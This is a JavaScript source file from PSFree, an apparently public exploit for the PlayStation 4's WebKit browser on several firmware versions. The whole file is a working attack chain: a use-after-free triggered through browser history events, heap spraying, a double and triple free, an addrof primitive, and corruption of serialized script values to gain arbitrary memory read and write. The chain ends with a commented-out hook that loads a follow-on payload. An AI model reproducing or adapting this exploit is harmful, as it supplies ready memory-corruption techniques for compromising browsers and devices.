5eeada1fd5
Added PS4 Firmware Detection
844 lines
26 KiB
JavaScript
844 lines
26 KiB
JavaScript
/* Copyright (C) 2023 anonymous
|
|
|
|
This file is part of PSFree.
|
|
|
|
PSFree is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU Affero General Public License as
|
|
published by the Free Software Foundation, either version 3 of the
|
|
License, or (at your option) any later version.
|
|
|
|
PSFree is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU Affero General Public License for more details.
|
|
|
|
You should have received a copy of the GNU Affero General Public License
|
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|
|
|
import * as config from './config.mjs';
|
|
|
|
import {
|
|
read32,
|
|
read64,
|
|
write32,
|
|
write64,
|
|
sread64,
|
|
} from './module/rw.mjs';
|
|
|
|
import * as o from './module/offset.mjs';
|
|
|
|
import { Int } from './module/int64.mjs';
|
|
import { Memory, Memory2 } from './module/mem.mjs';
|
|
|
|
import {
|
|
die,
|
|
debug_log,
|
|
clear_log,
|
|
str2array,
|
|
} from './module/utils.mjs';
|
|
|
|
const ssv_len = (() => {
|
|
switch (config.target) {
|
|
case config.ps4_6_00: {
|
|
return 0x58;
|
|
}
|
|
case config.ps4_9_00: {
|
|
return 0x50;
|
|
}
|
|
case config.ps4_6_50:
|
|
case config.ps4_8_03: {
|
|
return 0x48;
|
|
}
|
|
default: {
|
|
throw RangeError('invalid config.target: ' + config.target);
|
|
}
|
|
}
|
|
})();
|
|
|
|
const num_reuse = 0x4000;
|
|
|
|
// size of JSArrayBufferView
|
|
const original_strlen = ssv_len - o.size_strimpl;
|
|
const buffer_len = 0x20;
|
|
// make sure this is large enough to ensure that enough strings will
|
|
// occupy any gaps in in the relative read area so when are trying to leak the
|
|
// JSArrayBufferView we won't hit any unmapped areas
|
|
const num_str = 0x4000;
|
|
const num_gc = 30;
|
|
const num_space = 19;
|
|
const original_loc = window.location.pathname;
|
|
const loc = original_loc + '#foo';
|
|
|
|
// this variable has to be global for the leak to work
|
|
let rstr = null;
|
|
// this variable has to be global so that the exploit is more likely to succeed
|
|
let view_leak_arr = [];
|
|
// These variables need to be global because we theorize there are
|
|
// optimizations between local and global variables.
|
|
// We don't know what optimizations these are but it is messing with us.
|
|
|
|
// contents of the JSArrayBufferView
|
|
// 3rd element is the address of the buffer of the JSArrayBufferView
|
|
let jsview = [];
|
|
|
|
// objects for saving values
|
|
let s1 = {views : []};
|
|
let s2 = {views : []};
|
|
let view_leak = null;
|
|
let view_rw = null;
|
|
|
|
let input = document.body.appendChild(document.createElement("input"));
|
|
let foo = document.body.appendChild(document.createElement("a"));
|
|
foo.id = "foo";
|
|
|
|
// The theory is that the allocator and garbage collector (GC) cooperate in
|
|
// serving allocation requests. The GC knows if there are any garbage that can
|
|
// be collected, to free up memory for requests. If the allocator can't serve a
|
|
// request, it will ask the GC to perform a garbage collection.
|
|
//
|
|
// If even after a garbage colllection, there is still no memory left for
|
|
// allocation, then the process will request the operating system to increase
|
|
// its heap size.
|
|
//
|
|
// We loop a couple of times by num_loop in allocating memory and dropping
|
|
// references to it. Even though we dropped the references immediately, memory
|
|
// consumption will still grow, since garbage is not immediately collected.
|
|
// Hopefully one of the requests will force the allocator to yield to the GC.
|
|
let pressure = null;
|
|
function gc(num_loop) {
|
|
pressure = Array(100);
|
|
for (let i = 0; i < num_loop; i++) {
|
|
for (let i = 0; i < pressure.length; i++) {
|
|
pressure[i] = new Uint32Array(0x40000);
|
|
}
|
|
pressure = Array(100);
|
|
}
|
|
pressure = null;
|
|
}
|
|
|
|
function sleep(ms) {
|
|
return new Promise(resolve => setTimeout(resolve, ms));
|
|
}
|
|
|
|
function prepare_uaf() {
|
|
// don't want any state0 near state1
|
|
history.pushState('state0', '');
|
|
for (let i = 0; i < num_space; i++) {
|
|
history.replaceState('state0', '');
|
|
}
|
|
|
|
history.replaceState("state1", "", loc);
|
|
|
|
// don't want any state2 near state1
|
|
history.pushState("state2", "");
|
|
for (let i = 0; i < num_space; i++) {
|
|
history.replaceState("state2", "");
|
|
}
|
|
}
|
|
|
|
function free(save) {
|
|
// We replace the URL with the original so the user can rerun the exploit
|
|
// via a reload. If we don't then the exploit will append another "#foo" to
|
|
// the URL and the input element will not be blurred because the foo
|
|
// element won't be scrolled to during history.back().
|
|
history.replaceState('state3', '', original_loc);
|
|
|
|
for (let i = 0; i < num_reuse; i++) {
|
|
let view = new Uint8Array(new ArrayBuffer(ssv_len));
|
|
for (let i = 0; i < view.length; i++) {
|
|
view[i] = 0x41;
|
|
}
|
|
save.views.push(view);
|
|
}
|
|
}
|
|
|
|
function check_spray(views) {
|
|
if (views.length !== num_reuse) {
|
|
debug_log(`views.length: ${views.length}`);
|
|
die('views.length !== num_reuse, restart the entire exploit');
|
|
}
|
|
|
|
for (let i = 0; i < num_reuse; i++) {
|
|
if (views[i][0] !== 0x41) {
|
|
return i;
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
async function use_after_free(pop_func, save) {
|
|
const pop_promise = new Promise((resolve, reject) => {
|
|
function pop_wrapper(event) {
|
|
try {
|
|
pop_func(event, save);
|
|
} catch (e) {
|
|
reject(e);
|
|
}
|
|
resolve();
|
|
}
|
|
addEventListener("popstate", pop_wrapper, {once:true});
|
|
});
|
|
|
|
prepare_uaf();
|
|
|
|
let num_free = 0;
|
|
function onblur() {
|
|
if (num_free > 0) {
|
|
die('multiple free()s, restart the entire exploit');
|
|
}
|
|
free(save);
|
|
num_free++;
|
|
}
|
|
|
|
input.onblur = onblur;
|
|
await new Promise((resolve) => {
|
|
input.addEventListener('focus', resolve, {once:true});
|
|
input.focus();
|
|
});
|
|
history.back();
|
|
|
|
await pop_promise;
|
|
}
|
|
|
|
// get arbitrary read
|
|
async function setup_ar(save) {
|
|
const view = save.ab;
|
|
|
|
// set refcount to 1, all other fields to 0/NULL
|
|
view[0] = 1;
|
|
for (let i = 1; i < view.length; i++) {
|
|
view[i] = 0;
|
|
}
|
|
|
|
delete save.views;
|
|
delete save.pop;
|
|
gc(num_gc);
|
|
debug_log('setup_ar() gc done');
|
|
|
|
// Extra sleep if the object hasn't been collected yet, this is to allow
|
|
// the garbage collector to preempt us. Keeping the call to gc() lowers the
|
|
// average total sleep time.
|
|
let total_sleep = 0;
|
|
const num_sleep = 8;
|
|
// Don't sleep for 9.xx. Tests show it is slower. This check and the sleep
|
|
// before double_free() make the exploit fast for 9.xx.
|
|
while (true && config.target !== config.ps4_9_00) {
|
|
await sleep(num_sleep);
|
|
total_sleep += num_sleep;
|
|
|
|
if (view[0] !== 1) {
|
|
break;
|
|
}
|
|
}
|
|
debug_log(`total_sleep: ${total_sleep}`);
|
|
// log to check if the garbage collector did collect PopStateEvent
|
|
// must not log "1, 0, 0, 0, ..."
|
|
debug_log(view);
|
|
|
|
let num_spray = 0;
|
|
while (true) {
|
|
const obj = {};
|
|
num_spray++;
|
|
|
|
for (let i = 0; i < num_str; i++) {
|
|
let str = new String(
|
|
'B'.repeat(original_strlen - 5)
|
|
+ i.toString().padStart(5, '0')
|
|
);
|
|
obj[str] = 0x1337;
|
|
}
|
|
|
|
if (view[o.strimpl_inline_str] === 0x42) {
|
|
write32(view, o.strimpl_strlen, 0xffffffff);
|
|
} else {
|
|
continue;
|
|
}
|
|
|
|
let found = false;
|
|
const str_arr = Object.getOwnPropertyNames(obj);
|
|
for (let i = 0; i < str_arr.length; i++) {
|
|
if (str_arr[i].length > 0xff) {
|
|
rstr = str_arr[i];
|
|
found = true;
|
|
debug_log('confirmed correct leaked');
|
|
debug_log(`str len: ${rstr.length}`);
|
|
debug_log(view);
|
|
debug_log(`read address: ${read64(view, o.strimpl_m_data)}`);
|
|
break;
|
|
}
|
|
}
|
|
if (!found) {
|
|
continue;
|
|
}
|
|
|
|
debug_log(`num_spray: ${num_spray}`);
|
|
return;
|
|
}
|
|
}
|
|
|
|
async function double_free(save) {
|
|
const view = save.ab;
|
|
|
|
await setup_ar(save);
|
|
|
|
// Spraying JSArrayBufferViews
|
|
debug_log('spraying views');
|
|
let buffer = new ArrayBuffer(buffer_len);
|
|
let tmp = [];
|
|
const num_alloc = 0x10000;
|
|
const num_threshold = 0xfc00;
|
|
const num_diff = num_alloc - num_threshold;
|
|
for (let i = 0; i < num_alloc; i++) {
|
|
// The last allocated are more likely to be allocated after our relative read
|
|
if (i >= num_threshold) {
|
|
view_leak_arr.push(new Uint8Array(buffer));
|
|
} else {
|
|
tmp.push(new Uint8Array(buffer));
|
|
}
|
|
}
|
|
tmp = null;
|
|
debug_log('done spray views');
|
|
|
|
// Force JSC ref on FastMalloc Heap
|
|
// https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
|
|
let props = [];
|
|
for (let i = 0; i < num_diff; i++) {
|
|
props.push({ value: 0x43434343 });
|
|
props.push({ value: view_leak_arr[i] });
|
|
}
|
|
|
|
debug_log('start find leak');
|
|
//
|
|
// /!\
|
|
// This part must avoid as much as possible fastMalloc allocation
|
|
// to avoid re-using the targeted object
|
|
// /!\
|
|
//
|
|
// Use relative read to find our JSC obj
|
|
// We want a JSArrayBufferView that is allocated after our relative read
|
|
search: while (true) {
|
|
Object.defineProperties({}, props);
|
|
for (let i = 0; i < 0x800000; i++) {
|
|
let v = null;
|
|
if (rstr.charCodeAt(i) === 0x43 &&
|
|
rstr.charCodeAt(i + 1) === 0x43 &&
|
|
rstr.charCodeAt(i + 2) === 0x43 &&
|
|
rstr.charCodeAt(i + 3) === 0x43
|
|
) {
|
|
// check if PropertyDescriptor
|
|
if (rstr.charCodeAt(i + 0x08) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x0f) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x10) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x17) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x18) === 0x0e &&
|
|
rstr.charCodeAt(i + 0x1f) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x28) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x2f) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x30) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x37) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x38) === 0x0e &&
|
|
rstr.charCodeAt(i + 0x3f) === 0x00
|
|
) {
|
|
v = str2array(rstr, 8, i + 0x20);
|
|
// check if array of JSValues pointed by m_buffer
|
|
} else if (rstr.charCodeAt(i + 0x10) === 0x43 &&
|
|
rstr.charCodeAt(i + 0x11) === 0x43 &&
|
|
rstr.charCodeAt(i + 0x12) === 0x43 &&
|
|
rstr.charCodeAt(i + 0x13) === 0x43) {
|
|
v = str2array(rstr, 8, i + 8);
|
|
}
|
|
}
|
|
if (v !== null) {
|
|
view_leak = new Int(v);
|
|
break search;
|
|
}
|
|
}
|
|
}
|
|
//
|
|
// /!\
|
|
// Critical part ended-up here
|
|
// /!\
|
|
//
|
|
debug_log('end find leak');
|
|
debug_log('view addr ' + view_leak);
|
|
|
|
let rstr_addr = read64(view, o.strimpl_m_data);
|
|
write64(view, o.strimpl_m_data, view_leak);
|
|
for (let i = 0; i < 4; i++) {
|
|
jsview.push(sread64(rstr, i*8));
|
|
}
|
|
write64(view, o.strimpl_m_data, rstr_addr);
|
|
write32(view, o.strimpl_strlen, original_strlen);
|
|
debug_log('contents of JSArrayBufferView');
|
|
debug_log(jsview);
|
|
|
|
/*
|
|
// check if the JSArrayBufferView is allocated below its buffer
|
|
let index = view_leak.sub(jsview[2]);
|
|
debug_log('index: ' + index);
|
|
// check sign bit
|
|
if (index.high() >>> 31 === 1) {
|
|
die('view not below buffer');
|
|
}
|
|
if (index.high() !== 0) {
|
|
die('index not reachable by relative r/w');
|
|
}
|
|
*/
|
|
}
|
|
|
|
function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) {
|
|
const old_m_data = read64(view_rstr, o.strimpl_m_data);
|
|
|
|
let res = null;
|
|
write64(view_rstr, o.strimpl_m_data, view_m_vector);
|
|
for (const view of view_arr) {
|
|
const magic = 0x41424344;
|
|
write32(view, 0, magic);
|
|
|
|
if (sread64(rstr, 0).low() === magic) {
|
|
res = view;
|
|
break;
|
|
}
|
|
}
|
|
write64(view_rstr, o.strimpl_m_data, old_m_data);
|
|
|
|
if (res === null) {
|
|
die('not found');
|
|
}
|
|
return res;
|
|
}
|
|
|
|
|
|
class Reader {
|
|
// leaker will be the view whose address we leaked
|
|
constructor(rstr, view_rstr, leaker, leaker_addr) {
|
|
this.rstr = rstr;
|
|
this.view_rstr = view_rstr;
|
|
this.leaker = leaker;
|
|
this.leaker_addr = leaker_addr;
|
|
this.old_m_data = read64(view_rstr, o.strimpl_m_data);
|
|
|
|
// Create a butterfy with the "a" property as the first. leaker is a
|
|
// JSArrayBufferView. Instances of that class don't have inlined
|
|
// properties and the butterfly is immediately created.
|
|
leaker.a = 0; // dummy value, we just want to create the "a" property
|
|
}
|
|
|
|
addrof(obj) {
|
|
if (typeof obj !== 'object'
|
|
&& typeof obj !== 'function'
|
|
) {
|
|
throw TypeError('addrof argument not a JS object');
|
|
}
|
|
|
|
this.leaker.a = obj;
|
|
|
|
// no need to modify the length, original_strlen is large enough
|
|
write64(this.view_rstr, o.strimpl_m_data, this.leaker_addr);
|
|
|
|
const butterfly = sread64(this.rstr, o.js_butterfly);
|
|
write64(this.view_rstr, o.strimpl_m_data, butterfly.sub(0x10));
|
|
|
|
const res = sread64(this.rstr, 0);
|
|
|
|
write64(this.view_rstr, o.strimpl_m_data, this.old_m_data);
|
|
return res;
|
|
}
|
|
|
|
get_view_vector(view) {
|
|
if (!ArrayBuffer.isView(view)) {
|
|
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
|
|
}
|
|
|
|
write64(this.view_rstr, o.strimpl_m_data, this.addrof(view));
|
|
const res = sread64(this.rstr, o.view_m_vector);
|
|
|
|
write64(this.view_rstr, o.strimpl_m_data, this.old_m_data);
|
|
return res;
|
|
}
|
|
}
|
|
|
|
// data to write to the SerializedScriptValue
|
|
//
|
|
// Setup to make deserialization create an ArrayBuffer with its buffer address
|
|
// pointing to a JSArrayBufferView (worker).
|
|
function setup_ssv_data(reader) {
|
|
const r = reader;
|
|
// sizeof WTF::Vector<T>
|
|
const size_vector = 0x10;
|
|
// sizeof JSC::ArrayBufferContents
|
|
const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20;
|
|
|
|
// WTF::Vector<unsigned char>
|
|
const m_data = new Uint8Array(new ArrayBuffer(size_vector));
|
|
const data = new Uint8Array(new ArrayBuffer(9));
|
|
|
|
// m_buffer
|
|
write64(m_data, 0, r.get_view_vector(data));
|
|
// m_capacity
|
|
write32(m_data, 8, data.length);
|
|
// m_size
|
|
write32(m_data, 0xc, data.length);
|
|
|
|
// 6 is the serialization format version number for ps4 6.00. The format
|
|
// is backwards compatible and using a value less the current version
|
|
// number used by a specific WebKit version is considered valid.
|
|
//
|
|
// See CloneDeserializer::isValid() from
|
|
// WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03.
|
|
const CurrentVersion = 6;
|
|
const ArrayBufferTransferTag = 23;
|
|
write32(data, 0, CurrentVersion);
|
|
data[4] = ArrayBufferTransferTag;
|
|
write32(data, 5, 0);
|
|
|
|
// WTF::Vector<JSC::ArrayBufferContents>
|
|
const abc_vector = new Uint8Array(new ArrayBuffer(size_vector));
|
|
// JSC::ArrayBufferContents
|
|
const abc = new Uint8Array(new ArrayBuffer(size_abc));
|
|
|
|
write64(abc_vector, 0, r.get_view_vector(abc));
|
|
write32(abc_vector, 8, 1);
|
|
write32(abc_vector, 0xc, 1);
|
|
|
|
const worker = new Uint8Array(new ArrayBuffer(1));
|
|
|
|
if (config.target !== config.ps4_9_00) {
|
|
// m_destructor
|
|
write64(abc, 0, Int.Zero);
|
|
// m_shared
|
|
write64(abc, 8, Int.Zero);
|
|
// m_data
|
|
write64(abc, 0x10, r.addrof(worker));
|
|
// m_sizeInBytes
|
|
write32(abc, 0x18, o.size_view);
|
|
} else {
|
|
// m_data
|
|
write64(abc, 0, r.addrof(worker));
|
|
// m_destructor
|
|
write64(abc, 8, Int.Zero);
|
|
// m_shared
|
|
write64(abc, 0xe, Int.Zero);
|
|
// m_sizeInBytes
|
|
write32(abc, 0x14, o.size_view);
|
|
}
|
|
|
|
return {
|
|
m_data,
|
|
m_arrayBufferContentsArray : r.get_view_vector(abc_vector),
|
|
worker,
|
|
// keep a reference to prevent garbage collection
|
|
nogc : [
|
|
data,
|
|
abc_vector,
|
|
abc,
|
|
],
|
|
};
|
|
}
|
|
|
|
// get arbitrary read/write
|
|
async function setup_arw2(save, ssv_data) {
|
|
const num_msg = 1000;
|
|
const view = save.ab;
|
|
let msgs = [];
|
|
|
|
function onmessage(event) {
|
|
msgs.push(event);
|
|
}
|
|
addEventListener('message', onmessage);
|
|
|
|
// Free the StringImpl so we can spray SerializedScriptValues over the
|
|
// buffer of view.
|
|
rstr = null;
|
|
while (true) {
|
|
for (let i = 0; i < num_msg; i++) {
|
|
postMessage('', origin);
|
|
}
|
|
|
|
while (msgs.length !== num_msg) {
|
|
await sleep(100);
|
|
}
|
|
|
|
if (view[o.strimpl_inline_str] !== 0x42) {
|
|
break;
|
|
}
|
|
|
|
msgs = [];
|
|
}
|
|
removeEventListener('message', onmessage);
|
|
|
|
debug_log('view contents:');
|
|
for (let i = 0; i < ssv_len; i += 8) {
|
|
debug_log(read64(view, i));
|
|
}
|
|
|
|
const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data;
|
|
write64(view, 8, read64(m_data, 0));
|
|
write64(view, 0x10, read64(m_data, 8));
|
|
write64(view, 0x18, m_arrayBufferContentsArray);
|
|
|
|
for (const msg of msgs) {
|
|
if (msg.data !== '') {
|
|
alert('achieved arbitrary r/w');
|
|
debug_log('achieved arbitrary r/w');
|
|
|
|
const u = new Uint8Array(msg.data);
|
|
debug_log('deserialized ArrayBuffer:');
|
|
for (let i = 0; i < o.size_view; i += 8) {
|
|
debug_log(read64(u, i));
|
|
}
|
|
|
|
const mem = new Memory2(u, worker);
|
|
|
|
// safe to zero out the contents, the destructor will ignore fields
|
|
// that are zero/NULL
|
|
view.set(new Uint8Array(view.buffer));
|
|
// set refcount to 1 to have it not leak memory
|
|
view[0] = 1;
|
|
|
|
return;
|
|
}
|
|
}
|
|
die('no arbitrary r/w');
|
|
}
|
|
|
|
// Don't create additional references to rstr, use the global variable. This
|
|
// is to make dropping all references to it easy (change the value of the
|
|
// global variable).
|
|
async function triple_free(
|
|
save,
|
|
// contents of the leaked JSArrayBufferView
|
|
jsview,
|
|
view_leak_arr,
|
|
leaked_view_addr,
|
|
) {
|
|
const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr);
|
|
let r = new Reader(rstr, save.ab, leaker, leaked_view_addr);
|
|
const ssv_data = setup_ssv_data(r);
|
|
|
|
// r contains a reference to rstr, drop it for setup_arw2()
|
|
r = null;
|
|
await setup_arw2(save, ssv_data);
|
|
}
|
|
|
|
// for ps4 and ps5
|
|
async function decrement(save) {
|
|
debug_log('try decrement');
|
|
const offset_num_loop =
|
|
config.target === config.ps4_6_00 ? 0x54 : 0x44
|
|
;
|
|
const offset_target_addr =
|
|
config.target === config.ps4_6_00 ? 0x48 : 0x38
|
|
;
|
|
const view = save.ab;
|
|
const num_loop_str = offset_num_loop.toString(16);
|
|
const target_addr_str = offset_target_addr.toString(16);
|
|
// any of the buffers since they all share the same underlying memory
|
|
let trick_buffer = view_leak_arr[0];
|
|
view[0] = 1; // refcount
|
|
for (let i = 1; i < view.length; i++) {
|
|
view[i] = 0; // unneeded fields to NULL
|
|
}
|
|
// setup to trick the destructor
|
|
write32(view, offset_num_loop, 1);
|
|
write64(view, offset_target_addr, jsview[2]);
|
|
debug_log(`0x${num_loop_str}: ${read32(view, offset_num_loop)}`);
|
|
debug_log(`0x${target_addr_str}: ${read64(view, offset_target_addr)}`);
|
|
debug_log(view);
|
|
|
|
let target_addr =
|
|
view_leak.add(
|
|
o.view_m_length
|
|
+ 1 // to misalign the decrement
|
|
);
|
|
write64(trick_buffer, 0, target_addr);
|
|
debug_log('target addr: ' + target_addr);
|
|
debug_log('check: readout addr in buffer: ' + read64(trick_buffer, 0));
|
|
|
|
delete save.views;
|
|
delete save.pop;
|
|
// we lowered it from num_gc since we are crashing on the ps4
|
|
gc(20);
|
|
debug_log('decrement() gc done');
|
|
|
|
// Extra sleep if the object hasn't been collected yet, this is to allow
|
|
// the garbage collector to preempt us. Keeping the call to gc() lowers the
|
|
// average total sleep time.
|
|
let total_sleep = 0;
|
|
const num_sleep = 8;
|
|
while (true) {
|
|
await sleep(num_sleep);
|
|
total_sleep += num_sleep;
|
|
|
|
if (view[0] !== 1) {
|
|
break;
|
|
}
|
|
}
|
|
debug_log(`total_sleep: ${total_sleep}`);
|
|
// log to check if the garbage collector did collect PopStateEvent
|
|
// must not log "1, 0, 0, 0, ..."
|
|
debug_log(view);
|
|
|
|
let found = false;
|
|
for (let i = 0; i < view_leak_arr.length; i++) {
|
|
let view = view_leak_arr[i];
|
|
if (view.length > 0xff) {
|
|
debug_log('achieved relative r/w');
|
|
debug_log('view i: ' + i);
|
|
debug_log('view len: ' + view.length);
|
|
found = true;
|
|
view_rw = view_leak_arr[i];
|
|
break;
|
|
}
|
|
}
|
|
if (!found) {
|
|
die('no relative r/w');
|
|
}
|
|
}
|
|
|
|
// get arbitrary read/write
|
|
function setup_arw() {
|
|
let view_worker_addr = null;
|
|
let view_worker = null;
|
|
let worker_i = null;
|
|
let index = view_leak.sub(jsview[2]);
|
|
index = index.low();
|
|
|
|
// Is the next JSObject a JSArrayBufferView? Otherwise we target the previous JSObject
|
|
if (view_rw[index + o.size_view + o.view_m_length] === buffer_len) {
|
|
view_worker_addr = view_leak.add(o.size_view);
|
|
worker_i = index + o.size_view;
|
|
} else {
|
|
view_worker_addr = view_leak.sub(o.size_view);
|
|
worker_i = index - o.size_view;
|
|
}
|
|
debug_log('worker i: ' + worker_i);
|
|
|
|
// Overiding the length of one the JSArrayBufferViews with a known value
|
|
// ensure known value != buffer_len
|
|
view_rw[worker_i + o.view_m_length] = 0xff;
|
|
|
|
// Looking for the worker JSArrayBufferView
|
|
let found = false;
|
|
for (let i = 0; i < view_leak_arr.length; i++) {
|
|
if (view_leak_arr[i].length === 0xff) {
|
|
alert('achieved arbitrary r/w');
|
|
debug_log('achieved arbitrary r/w');
|
|
view_worker = view_leak_arr[i];
|
|
found = true;
|
|
break;
|
|
}
|
|
}
|
|
if (!found) {
|
|
die('no arbitrary r/w');
|
|
}
|
|
|
|
const mem = new Memory(
|
|
view_rw, view_leak,
|
|
view_worker, view_worker_addr,
|
|
worker_i
|
|
);
|
|
|
|
// cleanup
|
|
view_leak_arr = null;
|
|
view_rw = null;
|
|
view_leak = null;
|
|
// during the decrement we corrupted m_mode as well, we have the original
|
|
// m_mode here at jsview but we won't bother in fixing it since we are not
|
|
// crashing anyway
|
|
jsview = null;
|
|
// the StringImpl is safe to free since we fixed it up earlier
|
|
rstr = null;
|
|
input = null;
|
|
foo = null;
|
|
|
|
// After rstrs's death and the decrement, the JSArrayBufferViews at s1 and
|
|
// s2 will no longer have any object overlaid on their backing buffers but
|
|
// it is still freed. Meaning we can control any object that might be
|
|
// allocated there again. But these views are no longer needed as we
|
|
// already have an arbitrary read/write primitive. It might be in our
|
|
// interest to just free them as well.
|
|
//
|
|
// But since we have not filled the backing buffers with any object, the
|
|
// browser might have already filled them with important objects. Freeing
|
|
// the views will lead them to freeing their backing buffers since they
|
|
// still think they need to and thus this will free any overlaid objects.
|
|
//
|
|
// So we will not free them just to be sure we won't free any important
|
|
// objects by accident and lead to a crash.
|
|
//s1 = null;
|
|
//s2 = null;
|
|
}
|
|
|
|
function pop(event, save) {
|
|
let spray_res = check_spray(save.views);
|
|
if (spray_res === null) {
|
|
die('failed spray');
|
|
} else {
|
|
save.pop = event;
|
|
save.ab = save.views[spray_res];
|
|
debug_log('ssv len: ' + ssv_len);
|
|
debug_log('view index: ' + spray_res);
|
|
debug_log(save.ab);
|
|
}
|
|
}
|
|
|
|
// For some reason the input element is being blurred by something else (we
|
|
// don't know what) if we execute use_after_free() before the DOMContentLoaded
|
|
// event fires. The input must only be blurred by history.back(), which will
|
|
// change the focus from the input to the foo element.
|
|
async function get_ready() {
|
|
debug_log('readyState: ' + document.readyState);
|
|
await new Promise((resolve, reject) => {
|
|
if (document.readyState !== "complete") {
|
|
document.addEventListener("DOMContentLoaded", resolve);
|
|
return;
|
|
}
|
|
resolve();
|
|
});
|
|
}
|
|
|
|
async function run() {
|
|
debug_log('stage: readying');
|
|
await get_ready();
|
|
|
|
debug_log('stage: UaF 1');
|
|
await use_after_free(pop, s1);
|
|
|
|
// we trigger the leak first because it is more likely to work
|
|
// than if it were to happen during the second ssv smashing
|
|
// on the ps4
|
|
debug_log('stage: double free');
|
|
// * keeps double_free()'s total sleep even lower
|
|
// * also helps the garbage collector scheduling for 9.xx
|
|
await sleep(0);
|
|
await double_free(s1);
|
|
|
|
debug_log('stage: triple free');
|
|
await triple_free(s1, jsview, view_leak_arr, view_leak);
|
|
|
|
/*
|
|
// This extra sleep is needed before UaF 2, since for some reason the
|
|
// garbage collector can't immediately collect the objects near state1.
|
|
// These objects are probably just the usual temporaries used by the JS
|
|
// virtual machine. Essentially there is a timing issue on when is the GC
|
|
// allowed to collect?
|
|
await sleep(0x800);
|
|
|
|
debug_log('stage: UaF 2');
|
|
await use_after_free(pop, s2);
|
|
|
|
debug_log('stage: decrement');
|
|
await decrement(s2);
|
|
|
|
debug_log('stage: setup arw');
|
|
setup_arw();
|
|
|
|
clear_log();
|
|
// path to your script that will use the exploit
|
|
import('./code.mjs');
|
|
*/
|
|
}
|
|
|
|
run();
|